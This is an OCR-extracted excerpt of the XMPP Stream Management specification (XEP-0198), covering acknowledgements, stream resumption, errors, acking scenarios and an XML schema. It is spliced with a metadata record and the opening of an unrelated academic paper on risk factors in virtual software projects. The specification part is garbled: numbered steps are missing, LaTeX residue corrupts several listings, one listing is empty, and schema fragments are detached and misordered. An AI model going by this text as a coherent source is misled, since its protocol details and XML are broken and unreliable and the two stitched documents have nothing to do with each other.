<!-{}- Server ->
<a xmlns='urn:xmpp:sm:3' h='1'/>
When an <r/> element ("request") is received, the recipient MUST acknowledge it by sending an <a/> element to the sender containing a value of 'h' that is equal to the number of stanzas handled by the recipient of the <r/> element. The response SHOULD be sent as soon as possible after receiving the <r/> element, and MUST NOT be withheld for any condition other than a timeout. For example, a client with a slow connection might want to collect many stanzas over a period of time before acking, and a server might want to throttle incoming stanzas. The sender does not need to wait for an ack to continue sending stanzas.
Either party MAY send an <a/> element at any time (e.g., after it has received a certain number of stanzas, or after a certain period of time), even if it has not received an <r/> element from the other party. It is RECOMMENDED that initiating entities (usually clients) send an <a/> element right before they gracefully close the stream, in order to inform the peer about received stanzas. Otherwise it can happen that stanzas are re-sent (usually by the server) although they were actually received.
When a party receives an <a/> element, it SHOULD keep a record of the 'h' value returned as the sequence number of the last handled outbound stanza for the current stream (and discard the previous value).
If a stream ends and it is not resumed within the time specified in the original <enabled/> element, the sequence number and any associated state MAY be discarded by both parties. Before the session state is discarded, implementations SHOULD take alternative action regarding any unhandled stanzas (i.e., stanzas sent after the most recent 'h' value received):
A server SHOULD treat unacknowledged stanzas in the same way that it would treat a stanza sent to an unavailable resource, by either returning an error to the sender, delivery to an alternate resource, or committing the stanza to offline storage. (Note that servers SHOULD add a delay element with the original (failed) delivery timestamp, as per Delayed Delivery (XEP-0203)\(^{11}\)).
A user-oriented client SHOULD try to silently resend the stanzas upon reconnection or inform the user of the failure via appropriate user-interface elements. Clients SHOULD also add a delay element with the original (failed) send timestamp, so that the original send date is preserved. Otherwise receiving clients could only display the reconnection timestamp of the sending client, which may confuse users.
Because unacknowledged stanzas might have been received by the other party, resending them might result in duplicates; there is no way to prevent such a result in this protocol, although use of the XMPP 'id' attribute on all stanzas can at least assist the intended recipients in weeding out duplicate stanzas.
5 Resumption
It can happen that an XML stream is terminated unexpectedly (e.g., because of network outages). In this case, it is desirable to quickly resume the former stream rather than complete the tedious process of stream establishment, roster retrieval, and presence broadcast. In addition, this protocol exchanges the sequence numbers of the last received stanzas on the previous connection, allowing entities to establish definitively which stanzas require retransmission and which do not, eliminating duplication through replay.
To request that the stream will be resumable, when enabling stream management the client MUST add a 'resume' attribute to the <enable/> element with a value of "true" or "1"\(^{12}\).
Listing 8: Client enables stream management
```xml
<enable xmlns='urn:xmpp:sm:3' resume='true'/>
```
If the server will allow the stream to be resumed, it MUST include a 'resume' attribute set to "true" or "1" on the <enabled/> element and MUST include an 'id' attribute that specifies an identifier for the stream.
Listing 9: Server allows stream resumption
```xml
<enabled xmlns='urn:xmpp:sm:3' id='some-long-sm-id' resume='true'/>
```
\(^{12}\)In accordance with Section 3.2.2.1 of XML Schema Part 2: Datatypes, the allowable lexical representations for the xs:boolean datatype are the strings "0" and "false" for the concept 'false' and the strings "1" and "true" for the concept 'true'; implementations MUST support both styles of lexical representation.
**Definition:** The 'id' attribute defines a unique identifier for purposes of stream management (an "SM-ID"). The SM-ID MUST be generated by the server. The client MUST consider the SM-ID to be opaque and therefore MUST NOT assign any semantic meaning to the SM-ID. The server MAY encode any information it deems useful into the SM-ID, such as the full JID <localpart@domain.tld/resource> of a connected client (e.g., the full JID plus a nonce value). Any characters allowed in an XML attribute are allowed. The SM-ID MUST NOT be reused for simultaneous or subsequent sessions (but the server need not ensure that SM-IDs are unique for all time, only for as long as the server is continuously running). The SM-ID SHOULD NOT be longer than 4000 bytes.
As noted, the <enabled/> element MAY include a 'location' attribute that specifies the server’s preferred location for reconnecting (e.g., a particular connection manager that hold session state for the connected client).
Listing 10: Server prefers reconnection at a particular location
```
<enabled xmlns='urn:xmpp:sm:3'
id='some-long-sm-id'
location='[2001:41D0:1:A49b::1]:9222'
resume='true'/>
```
If the stream is terminated unexpectedly, the client would then open a TCP connection to the server. The order of events is as follows:
1. After disconnection, the client opens a new TCP connection to the server, preferring the address specified in the 'location' attribute (if any).
2. Client sends initial stream header.
4. Server sends stream features.
5. Client sends STARTTLS request.
6. Server informs client to proceed with the TLS negotiation.
7. The parties complete a TLS handshake. (Note: When performing session resumption and also utilizing TLS, it is RECOMMENDED to take advantage of TLS session resumption [RFC 5077](http://tools.ietf.org/html/rfc5077) to further optimize the resumption of the XML stream.)
8. Client sends new initial stream header.
---
10. Server sends stream features, requiring SASL negotiation and offering appropriate SASL mechanisms. (Note: If the server considers the information provided during TLS session resumption to be sufficient authentication, it MAY offer the SASL EXTERNAL mechanism; for details, refer to `draft-cridland-sasl-tls-sessions` 14.)
11. The parties complete SASL negotiation.
12. Client sends new initial stream header.
14. Server sends stream features, offering the SM feature.
15. Client requests resumption of the former stream.
Note: The order of events might differ from those shown above, depending on when the server offers the SM feature, whether the client chooses STARTTLS, etc. Furthermore, in practice server-to-server streams often do not complete SASL negotiation or even TLS negotiation. The foregoing text does not modify any rules about the stream negotiation process specified in RFC 6120. However, since stream management applies to the exchange of stanzas (not any other XML elements), it makes sense for the server to offer the SM feature when it will be possible for the other party to start sending stanzas, not before. See also Recommended Order of Stream Feature Negotiation (XEP-0170) 15.
To request resumption of the former stream, the client sends a `<resume/>` element qualified by the ‘urn:xmpp:sm:3’ namespace. The `<resume/>` element MUST include a ‘previd’ attribute whose value is the SM-ID of the former stream and MUST include an ‘h’ attribute that identifies the sequence number of the last handled stanza sent over the former stream from the server to the client (in the unlikely case that the client never received any stanzas, it would set ‘h’ to zero).
Listing 11: Stream resumption request
```xml
<resume xmlns='urn:xmpp:sm:3'
h='some-sequence-number'
previd='some-long-sm-id'/>
```
If the server can resume the former stream, it MUST return a `<resumed/>` element, which MUST include a ‘previd’ attribute set to the SM-ID of the former stream and MUST also include an ‘h’ attribute set to the sequence number of the last handled stanza sent over the former stream from the client to the server (in the unlikely case that the server never received any stanzas, it would set ‘h’ to zero).
---
If the server does not support session resumption, it MUST return a <failed/> element, which SHOULD include an error condition of <feature-not-implemented/>. If the server does not recognize the ‘previd’ as an earlier session (e.g., because the former session has timed out), it MUST return a <failed/> element, which SHOULD include an error condition of <item-not-found/>. If the server recognizes the ‘previd’ as an earlier session that has timed out the server MAY also include a ‘h’ attribute indicating the number of stanzas received before the timeout. (Note: For this to work the server has to store the SM-ID/sequence number tuple past the time out of the actual session.)
In both of these failure cases, the server SHOULD allow the client to bind a resource at this point rather than forcing the client to restart the stream negotiation process and re-authenticate.
If the former stream is resumed and the server still has the stream for the previously-identified session open at this time, the server SHOULD send a ’conflict’ stream error and close that stream.
When a session is resumed, the parties proceed as follows:
- The sequence values are carried over from the previous session and are not reset for the new stream.
- Upon receiving a <resume/> or <resumed/> element the client and server use the ‘h’ attribute to retransmit any stanzas lost by the disconnection. In effect, it should handle the element’s ‘h’ attribute as it would handle it on an <a/> element (i.e., marking stanzas in its outgoing queue as handled), except that after processing it MUST re-send to the peer any stanzas that are still marked as unhandled.
Both parties SHOULD retransmit any stanzas that were not handled during the previous session, based on the sequence number reported by the peer.
A reconnecting client SHOULD NOT request the roster, because any roster changes that occurred while the client was disconnected will be sent to the client after the stream management session resumes.
The client SHOULD NOT resend presence stanzas in an attempt to restore its former presence state, since this state will have been retained by the server.
Both parties SHOULD NOT try to re-establish state information (e.g., Service Discovery (XEP-0030) information).
6 Error Handling
If an error occurs with regard to an <enable/> or <resume/> element, the server MUST return a <failed/> element. This element SHOULD contain an error condition, which MUST be one of the stanza error conditions defined in RFC 6120. An example follows.
```
Listing 15: Server returns error
<failed xmlns='urn:xmpp:sm:3'>
<unexpected-request xmlns='urn:ietf:params:xml:ns:xmpp-stanzas'/>
</failed>
```
Stream management errors SHOULD be considered recoverable; however, misuse of stream management MAY result in termination of the stream.
When a remote entity acknowledges that it has handled a number of stanzas that is higher than the amount of stanzas that it was sent (by sending an 'h' value that is too high), the local entity SHOULD generate an undefined-condition stream error that includes a <handled-count-too-high/> element, and close the stream:
```
Listing 16: Entity closes stream because peer acknowledges more stanzas than it was sent
<stream:error>
<undefined-condition xmlns='urn:ietf:params:xml:ns:xmpp-stanzas'/>
<handled-count-too-high xmlns='urn:xmpp:sm:3' h='10' send-count='8'/>
<text xml:lang='en' xmlns='urn:ietf:params:xml:ns:xmpp-stanzas'>
You acknowledged 10 stanzas, but I only sent you 8 so far.
</text>
</stream:error>
</stream:stream>
```
7 Stream Closure
A cleanly closed stream differs from an unfinished stream. If a client wishes to cleanly close its stream and end its session, it MUST send a </stream:stream> so that the server can send unavailable presence on the client’s behalf.
If the stream is not cleanly closed then the server SHOULD consider the stream to be unfinished (even if the client closes its TCP connection to the server) and SHOULD maintain the session on behalf of the client for a limited amount of time. The client can send whatever presence it wishes before leaving the stream in an unfinished state.
8 Scenarios
The following scenarios illustrate several different uses of stream management. The examples are that of a client and a server, but stream management can also be used for server-to-server streams.
8.1 Basic Acking Scenario
The Stream Management protocol can be used to improve reliability using acks without the ability to resume a session. A basic implementation would do the following:
- As a client, send <enable/> with no attributes, and ignore the attributes on the <enabled/> response.
- As a server, ignore the attributes on the <enable/> element received, and respond via <enabled/> with no attributes.
- When receiving an <r/> element, immediately respond via an <a/> element where the value of 'h' returned is the sequence number of the last handled stanza.
- Keep an integer X for this stream session, initially set to zero. When about to send a stanza, first put the stanza (paired with the current value of X) in an “unacknowledged” queue. Then send the stanza over the wire with <r/> to request acknowledgement of that outbound stanza, and increment X by 1. When receiving an <a/> element with an ‘h’ attribute, all stanzas whose paired value (X at the time of queueing) is less than or equal to the value of ‘h’ can be removed from the unacknowledged queue.
This is enough of an implementation to minimally satisfy the peer, and allows basic tracking of each outbound stanza. If the stream connection is broken, the application has a queue of unacknowledged stanzas that it can choose to handle appropriately (e.g., warn a human user or silently send after reconnecting).
The following examples illustrate basic acking (here the client automatically acks each stanza.
it has received from the server, without first being prompted via an \(<r/>\) element.
First, after authentication and resource binding, the client enables stream management.
Listing 17: Client enables stream management
\(<\text{enable xmlns='urn:xmpp:sm:3'/}>\)
The server then enables stream management.
Listing 18: Server enables stream management
\(<\text{enabled xmlns='urn:xmpp:sm:3'/}>\)
The client then retrieves its roster and immediately sends an \(<r/>\) element to request acknowledgment.
Listing 19: Client sends a stanza and requests acknowledgement
\(<\text{iq id='ls72g593' type='get'}\rangle
\text{<query xmlns='jabber:iq:roster'/>}\</\text{iq}>\)
\text{<r xmlns='urn:xmpp:sm:3'/>}
The server handles the client stanza (here returning the roster) and sends an \(<a/>\) element to acknowledge handling of the stanza.
Listing 20: Server handles client stanza and acknowledges handling of client stanza
\(<\text{iq id='ls72g593' type='result'}\rangle
\text{<query xmlns='jabber:iq:roster'>}
\text{<item jid='juliet@capulet.lit'/>}
\text{<item jid='benvolio@montague.lit'/>}\</\text{query}>\)
\text{</iq>}
\text{<a xmlns='urn:xmpp:sm:3' h='1'/>}
The client then chooses to acknowledge receipt of the server's stanza (although here it is under no obligation to do so, since the server has not requested an ack), sends initial presence, and immediately sends an \(<r/>\) element to request acknowledgement, incrementing by one its internal representation of how many stanzas have been handled by the server.
Listing 21: Client acks handling of first server stanza, sends a stanza, and requests acknowledgement
\(<\text{a xmlns='urn:xmpp:sm:3' h='1'/}>\)
<presence/>
<r xmlns='urn:xmpp:sm:3'/>
The server immediately sends an <a/> element to acknowledge handling of the stanza and then broadcasts the user's presence (including to the client itself as shown below).
Listing 22: Server acks handling of second client stanza and sends a stanza
<a xmlns='urn:xmpp:sm:3' h='2'/>
<presence from='romeo@montague.lit/orchard' to='romeo@montague.lit/orchard'/>
The client then acks the server’s second stanza and sends an outbound message followed by an <r/> element.
Listing 23: Client acks receipt of second server stanza, sends a stanza, and requests acknowledgement
<a xmlns='urn:xmpp:sm:3' h='2'/>
<message to='juliet@capulet.lit'><body>ciao!</body></message>
<r xmlns='urn:xmpp:sm:3'/>
The server immediately sends an <a/> element to acknowledge handling of the third client stanza and then routes the stanza to the remote contact (not shown here because the server does not send a stanza to the client).
Listing 24: Server acknowledges handling of third client stanza
<a xmlns='urn:xmpp:sm:3' h='3'/>
And so on.
8.2 Efficient Acking Scenario
The basic acking scenario is wasteful because the client requested an ack for each stanza. A more efficient approach is to periodically request acks (e.g., every 5 stanzas). This is shown schematically in the following pseudo-XML.
Listing 25: An efficient session
In particular, on mobile networks, it is advisable to only request and/or send acknowledgments when an entity has other data to send, or in lieu of a whitespace keepalive or XMPP ping (XEP-0199).
9 Security Considerations
As noted, a server MUST NOT allow a client to resume a stream management session until after the client has authenticated (for some value of “authentication”); this helps to prevent session hijacking.
10 IANA Considerations
This XEP requires no interaction with the Internet Assigned Numbers Authority (IANA). The Internet Assigned Numbers Authority (IANA) is the central coordinator for the assignment of unique parameter values for Internet protocols, such as port numbers and URI schemes. For further information, see <http://www.iana.org/>.
11 XMPP Registrar Considerations
11.1 Protocol Namespaces
This specification defines the following XML namespace:
- urn:xmpp:sm:3
The XMPP Registrar includes the foregoing namespace in its registry at <https://xmpp.org/registrar/namespaces.html>, as described in Section 4 of XMPP Registrar Function (XEP-0053).
11.2 Protocol Versioning
If the protocol defined in this specification undergoes a revision that is not fully backwards-compatible with an older version, the XMPP Registrar shall increment the protocol version number found at the end of the XML namespaces defined herein, as described in Section 4 of XEP-0053.
11.3 Stream Features
12 XML Schemas
```xml
<?xml version='1.0' encoding='UTF-8'?>
<xs:schema
xmlns:xs='http://www.w3.org/2001/XMLSchema'
targetNamespace='urn:xmpp:sm:3'
xmlns='urn:xmpp:sm:3'
elementFormDefault='qualified'>
<xs:annotation>
<xs:documentation>
The protocol documented by this schema is defined in XEP-0198: http://www.xmpp.org/extensions/xep-0198.html
</xs:documentation>
</xs:annotation>
</xs:schema>
```
---
18 The XMPP Registrar maintains a list of reserved protocol namespaces as well as registries of parameters used in the context of XMPP extension protocols approved by the XMPP Standards Foundation. For further information, see <https://xmpp.org/registrar/>.
<xs:import namespace='urn:ietf:params:xml:ns:xmpp-stanzas'
schemaLocation='http://xmpp.org/schemas/stanzaerror.xsd'/>
<xs:element name='a'>
<xs:complexType>
<xs:simpleContent>
<xs:extension base='empty'>
<xs:attribute name='h' type='xs:unsignedInt' use='required'/>
</xs:extension>
</xs:simpleContent>
</xs:complexType>
</xs:element>
<xs:element name='enable'>
<xs:complexType>
<xs:simpleContent>
<xs:extension base='empty'>
<xs:attribute name='max' type='xs:positiveInteger' use='optional'/>
<xs:attribute name='resume' type='xs:boolean' use='optional' default='false'/>
</xs:extension>
</xs:simpleContent>
</xs:complexType>
</xs:element>
<xs:element name='enabled'>
<xs:complexType>
<xs:simpleContent>
<xs:extension base='empty'>
<xs:attribute name='id' type='xs:string' use='optional'/>
<xs:attribute name='location' type='xs:string' use='optional'/>
<xs:attribute name='max' type='xs:positiveInteger' use='optional'/>
<xs:attribute name='resume'/>
</xs:extension>
</xs:simpleContent>
</xs:complexType>
</xs:element>
type='xs:boolean'
use='optional'
default='false'/>
</xs:extension>
</xs:simpleContent>
</xs:complexType>
</xs:element>
<xs:element name='failed'>
<xs:complexType>
<xs:sequence xmlns:err='urn:ietf:params:xml:ns:xmpp-stanzas'
minOccurs='0'
maxOccurs='1'>
<xs:group ref='err:stanzaErrorGroup'/>
</xs:sequence>
<xs:attribute name='h' type='xs:unsignedInt'
use='optional'/>
</xs:complexType>
</xs:element>
<xs:element name='r' type='empty'/>
<xs:element name='resume' type='resumptionElementType'/>
<xs:element name='resumed' type='resumptionElementType'/>
<xs:element name='sm'>
<xs:complexType>
<xs:choice>
<xs:element name='optional' type='empty'/>
<xs:element name='required' type='empty'/>
</xs:choice>
</xs:complexType>
</xs:element>
<xs:complexType name='resumptionElementType'>
<xs:simpleContent>
<xs:extension base='empty'>
<xs:attribute name='h' type='xs:unsignedInt'
use='required'/>
<xs:attribute name='previd' type='xs:string'
use='required'/>
</xs:extension>
</xs:simpleContent>
</xs:complexType>
13 Acknowledgements
Thanks to Bruce Campbell, Jack Erwin, Philipp Hancke, Curtis King, Tobias Markmann, Alexey Melnikov, Pedro Melo, Robin Redeker, Mickaël Rémond, Florian Schmaus, and Tomasz Sterna for their feedback.
|
{"Source-Url": "https://xmpp.org/extensions/xep-0198.pdf", "len_cl100k_base": 8298, "olmocr-version": "0.1.53", "pdf-total-pages": 21, "total-fallback-pages": 0, "total-input-tokens": 50802, "total-output-tokens": 10057, "length": "2e13", "weborganizer": {"__label__adult": 0.0003724098205566406, "__label__art_design": 0.00043702125549316406, "__label__crime_law": 0.0009527206420898438, "__label__education_jobs": 0.0015859603881835938, "__label__entertainment": 0.00027942657470703125, "__label__fashion_beauty": 0.0001729726791381836, "__label__finance_business": 0.0007953643798828125, "__label__food_dining": 0.0002636909484863281, "__label__games": 0.00104522705078125, "__label__hardware": 0.0041656494140625, "__label__health": 0.0003459453582763672, "__label__history": 0.0005559921264648438, "__label__home_hobbies": 9.167194366455078e-05, "__label__industrial": 0.0006575584411621094, "__label__literature": 0.0007123947143554688, "__label__politics": 0.00040793418884277344, "__label__religion": 0.0005183219909667969, "__label__science_tech": 0.22216796875, "__label__social_life": 0.00012731552124023438, "__label__software": 0.137451171875, "__label__software_dev": 0.62548828125, "__label__sports_fitness": 0.00034356117248535156, "__label__transportation": 0.0006437301635742188, "__label__travel": 0.00022983551025390625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 37072, 0.02605]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 37072, 0.15187]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 37072, 0.81401]], "google_gemma-3-12b-it_contains_pii": [[0, 783, false], [783, 3318, null], [3318, 4003, null], [4003, 6832, null], [6832, 8757, null], [8757, 11111, null], [11111, 13668, null], [13668, 15799, null], [15799, 18478, null], [18478, 20666, null], [20666, 23200, null], [23200, 24846, null], [24846, 26842, null], [26842, 29136, null], [29136, 30816, null], [30816, 32203, null], [32203, 32974, null], [32974, 34559, null], [34559, 35842, null], [35842, 36853, null], [36853, 37072, null]], "google_gemma-3-12b-it_is_public_document": [[0, 783, true], [783, 3318, null], [3318, 4003, null], [4003, 6832, null], [6832, 8757, null], [8757, 11111, null], [11111, 13668, null], [13668, 15799, null], [15799, 18478, null], [18478, 20666, null], [20666, 23200, null], [23200, 24846, null], [24846, 26842, null], [26842, 29136, null], [29136, 30816, null], [30816, 32203, null], [32203, 32974, null], [32974, 34559, null], [34559, 35842, null], [35842, 36853, null], [36853, 37072, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 37072, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 37072, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 37072, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 37072, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 37072, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 37072, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 37072, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 37072, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 37072, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 37072, null]], "pdf_page_numbers": [[0, 783, 1], [783, 3318, 2], [3318, 4003, 3], [4003, 6832, 4], [6832, 8757, 5], [8757, 11111, 6], [11111, 13668, 7], [13668, 15799, 8], [15799, 18478, 9], [18478, 20666, 10], [20666, 23200, 11], [23200, 24846, 12], [24846, 26842, 13], [26842, 29136, 14], [29136, 30816, 15], [30816, 32203, 16], [32203, 32974, 17], [32974, 34559, 18], [34559, 35842, 19], [35842, 36853, 20], [36853, 37072, 21]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 37072, 0.00769]]}
|
olmocr_science_pdfs
|
2024-12-08
|
2024-12-08
|
ce817c5a4d01554e7105ca23c6356eda0621a5ac
|
MAJOR VIRTUAL PROJECT RISK FACTORS
APRIL H. REED
EAST CAROLINA UNIVERSITY
reed@ecu.edu
LINDA V. KNIGHT
DEPAUL UNIVERSITY
lknight@cti.depaul.edu
ABSTRACT
Research on the major risk factors for traditional projects is abundant; however, despite research citing increased communication and trust issues in virtual environments, research on the major risks for projects conducted in virtual environments is scarce. This paper addresses that void by reporting on a research study of virtual project risk that culminated in a survey of 107 virtual project management practitioners from throughout the United States. Prior literature, in-person interviews, and a focus group were used to develop a comprehensive list of fifty-five potential risk factors. Survey participants were asked to rate each of these potential risks, by considering the degree of impact it had on the successful completion of a recent virtual project in which they participated. Similar to past surveys focused on traditional software development projects, the goal of this research was to identify a set of major virtual project risks, those risks most likely to have the greatest impact on the successful completion of a virtual software development project. The study identified a set of three major risks that can be considered critical for virtual projects: 1) lack of or inadequate communication, 2) project critical to the organization and 3) integration of project components is complex. Surprisingly, these risks are different from those previously identified in the literature as top risks for traditional projects. One risk identified here did not even appear in prior studies of traditional project risk. The other two appeared but were never noted as among the most critical risks. Included in this paper is a detailed discussion of each of the three major risk factors, as well as potential areas for future research into virtual project risk. The results of this study will benefit project management practitioners in managing risk in a virtual project environment.
Keywords: virtual project risk, risk, project risk, virtual projects, virtual teams, project management, communication, complexity, complex projects, complex components, critical projects, software development, risk management
INTRODUCTION
Projects are temporary work efforts, each with a specific goal or objective to be completed within a specified time frame [1]. Virtual projects have been defined as projects where team members are distributed across work locations in different cities, states, countries and/or time zones, making face-to-face communication difficult or impossible. Such teams are referred to as virtual teams. Since team members work from distributed locations, a need is created for project team members to rely heavily on technology for communication, i.e. collaboration tools, often referred to as information and communication technologies or ICTs. Powell, et al. [16] identified a sometimes “exclusive reliance” on ICTs as a distinctive feature of virtual teams.
Risk factors on projects have often led to challenged projects as well as project disasters [5, 19]. The importance of researching project risk has been acknowledged widely in the literature. Zmud [23], in his research found a “major source of the software problem” to be the failure to assess the project risk, as well as failure to adapt management methods based on the assessed risk. Boehm [4] developed a method to formalize risk assessment through risk identification, analysis and prioritization as a means of achieving project success. Finally, Wallace et al. [21] established that project risk factors can adversely affect a project if the project manager does not address them with appropriate countermeasures. Although project risk on traditional software development projects has been researched at length, traditional software projects no longer dominate software development. Rather, virtual teamwork has emerged as a growing means of conducting projects [15, 18]. Several driving forces have catapulted the use of virtual teams into the forefront, including the growth of global organizations, the continuing rise in business travel costs, widespread budgetary concerns, and an increase in outsourcing and offshoring [7, 12].
While the use of virtual teams has become quite commonplace, the initiation and rapid growth of virtual project work was not accompanied by customized processes and procedures, standards, methodologies or guidelines developed specifically for the virtual environment. Most project management practitioners instead rely upon existing traditional project risk assessment and handling methods, originally designed for co-located project teams. However, unique issues have been documented in virtual environments, including communication issues [9], trust issues [11, 14, 16] and issues with invisible team members, sometimes referred to as “deadbeats” or “free-riders” [6]. Although such issues could occur on traditional projects, the literature cited above suggests these problems may occur more frequently or with greater intensity when the environment is virtual. Supporting this position, Majchrzak, et al. [11] in their research found a number of risks, which they labeled “hazards” that can be more dangerous on virtual software projects than on traditional projects. The researchers specifically cited the following risks in the “hazard” category: mistrust, cliques, uninformed managers and the allure of other interesting but unrelated work. Thus, prior research suggests that virtual project risks may differ from traditional project risks. Since prior research addressed traditional project risk, our objective in this research was to identify a set of top risks that are likely to have the greatest impact on the successful completion of a virtual software development project.
The benefit of a top or critical risk factor list was validated by Boehm [4], who in his research on traditional software project risk, emphasized the need to specifically address top risks rather than create a lengthy list of all potential risk factors, including those with a low or miniscule impact. Adhering to the top risks approach can aid project management practitioners in using their time more effectively, since it would be nearly impossible to monitor and address every potential risk factor. When project management practitioners implement risk management plans, knowing the most critical threats to virtual projects can help these managers do a more complete and targeted risk analysis. Further, knowing what the most critical risks are on virtual projects is part of keeping pace with technology. More than a dozen years ago, Keil et al. [8], investigating top traditional project risks, justified the need for a new risk factor list based on organizational and technology changes. Since virtual project teamwork clearly has emerged as a new organizational form, it is reasonable to expect similar adjustments in risk factor lists for virtual software projects. Yet, as the Background section below will show, the seminal research into major project risk was conducted years ago using traditional projects.
The next section of this paper presents background information on prior research that involved the formation of both comprehensive risk factor lists and top risk factor lists for traditional, non-virtual projects. Each study is explained through a description of its stated goals, research methods, research participants and the resulting top risks identified by each group of researchers. This review is followed by a methodology section which will detail how the current research study was conducted. Results and Discussion sections will share the outcome of this study by identifying the critical risks for virtual projects and noting the relationships among the critical factors. The paper will conclude by first looking to the past and comparing the three factors identified here as critical on virtual projects with prior lists of top risks for traditional projects and then looking to the future of virtual project risk research. Please note that the research reported upon here is but one portion of a much larger study of project risk. Our goal here is to focus on identifying major risk factors in virtual project environments and to compare these with similar factors already identified by other researchers in traditional development environments involving co-located team members.
**BACKGROUND: TRADITIONAL PROJECT RISK**
Several researchers have studied and identified the threats and/or sources of threats to the outcome of traditional software development projects.
searchers identified specific detailed issues such as “nonexistent or unwilling users” [2], and labeled them risk factors [2, 4, 8] or uncertainty factors [3, 23]. Other researchers identified broad general areas of risk potential such as “users” and labeled them categories or dimensions [13, 22]. Barki, et al. [3], in their research, pointed out the “high degree of resemblance” between “risk factor” and “uncertainty factor” labels in prior literature. Therefore, risk factor and uncertainty factor will be treated as equivalent in this paper and referred to simply as risk factors.
The body of research on traditional, non-virtual software development project risk was published primarily between 1979 and 2004. We summarize this research here in the order in which it occurred so that the reader may gain a sense of the evolution of both thought and study methods. Alter [2] identified eight key risk factors that threatened the success of software development: 1) nonexistent or unwilling users, 2) inability to cushion impact on others, 3) multiple users or implementers, 4) loss or lack of support, 5) turnover among all parties, 6) lack of experience, 7) inability to specify purpose or usage, and 8) technical or cost-effectiveness problems. Alter’s research was conducted by reviewing implementation case histories from fifty-six decision support systems. Face-to-face interviews were conducted with the participants, who were system implementers or users of these systems. The purpose of the research was to answer three questions: 1) what situational factors favored or opposed successful implementation, 2) what actions were taken in response to these factors, and 3) what determined whether these actions were successful.
Zmud [23] identified four uncertainty factors considered critical in terms of influencing the outcome of a software development project. The first uncertainty factor was technological complexity, which he described as selection of an appropriate hardware/software design, estimating of resources and design of the operation of the final product. Zmud’s second factor, the degree of novelty or structure of the application, was defined as the development of clear, concise and complete requirements. The third factor, technological change, covered the influence of change on all aspects of the project. Finally, the fourth factor, project size, referred to all issues related to large projects. For instance, in a large project, team members are more likely to have interdependent tasks which can increase the chance of team members who don’t collaborate well to need to work together. Zmud’s research was conducted by synthesizing existing ideas of practitioners on methods of staffing, planning, and controlling used in successful software development projects. His objective was to achieve a “managerial exploitation of modern software practices” that would lead to project success. In particular, these methods were related to evolutionary development and the evolutionary life cycle, which promoted the segmentation of development projects into manageable pieces.
McFarlan [13] indicated risk was inherent to projects and identified three critical risk dimensions that influenced the risk in a project. Project size, the first risk dimension, refers to the increased risk that accompanies increases in project budget, project team size, project duration and the number of departments involved. The second dimension, experience with technology, refers to the higher level of risk associated with projects where the project team is not familiar or comfortable with the project hardware, operating systems, database or programming language. The last dimension, project structure, can fall into one of several categories: high structure/low technology, high structure/high technology, low structure/high technology or low structure/low technology. Conclusions were based on McFarlan’s analysis of specific corporate projects, i.e. case studies and first-hand acquaintance with a number of Information Systems (IS) projects over a ten year span around the 1970’s. The purpose of this research was to focus on the three deficiencies mentioned above in actual practice and to suggest ways of redressing them.
Boehm’s research [4] identified the following list of “top ten” risk factors on software development projects: 1) personnel shortfalls, 2) unrealistic schedules and budgets, 3) developing the wrong functions and properties, 4) developing the wrong user interface, 5) gold-plating, 6) continuing stream of requirements changes, 7) shortfalls in externally furnished components, 8) shortfalls in externally performed tasks, 9) real-time performance shortfalls, and 10) straining computer-science capabilities. His research was conducted with the purpose of identifying a checklist of the ten primary sources of risk on traditional software projects, which could be used by practitioners, managers and systems engineers. The list was created from observations by Boehm of project managers in one industry.
Barki, et al. [3] identified a much more comprehensive list of risks. As shown in Table 1, five crucial risk dimensions were identified and validated, with 24 total uncertainty/risk factors assigned within the five dimensions. The purpose of this research was to develop a construct with which to measure software development risk and to develop a conceptual definition of software development risk. Unlike prior studies, a survey questionnaire and face-to-face interviews were employed to conduct the research. Participants were project leaders and users from 100 of the largest companies in Quebec working on an ongoing traditional project at the time of the research.
Keil, et al. [8] identified the following top eleven risk factors: 1) lack of top management commitment to the project, 2) failure to gain user commitment, 3) misunderstanding the requirements, 4) lack of adequate user involvement, 5) failure to manage user expectations, 6) changing scope/objectives, 7) lack of required knowledge/skills in the project personnel, 8) lack of frozen requirements, 9) introduction of new technology, 10) insufficient/inappropriate staffing, and 11) conflict between user departments. The purpose of this research was to identify a set of risks which were the most important on traditional software projects, similar to the purpose of the research by Boehm [4]. Unlike prior studies, Keil's research was conducted through a Delphi study with 41 experienced project managers in three countries. Risks were rated on a 10-point scale where 7 or higher (top 30%) were classified as “high importance” and ratings of 7 to 5 were classified as “moderate”. The average perceived importance scores were used in calculating overall ratings. The resulting list was thought to be somewhat universal since each group, located in different countries, identified this same core set of risks, thus suggesting a “global relevance.”
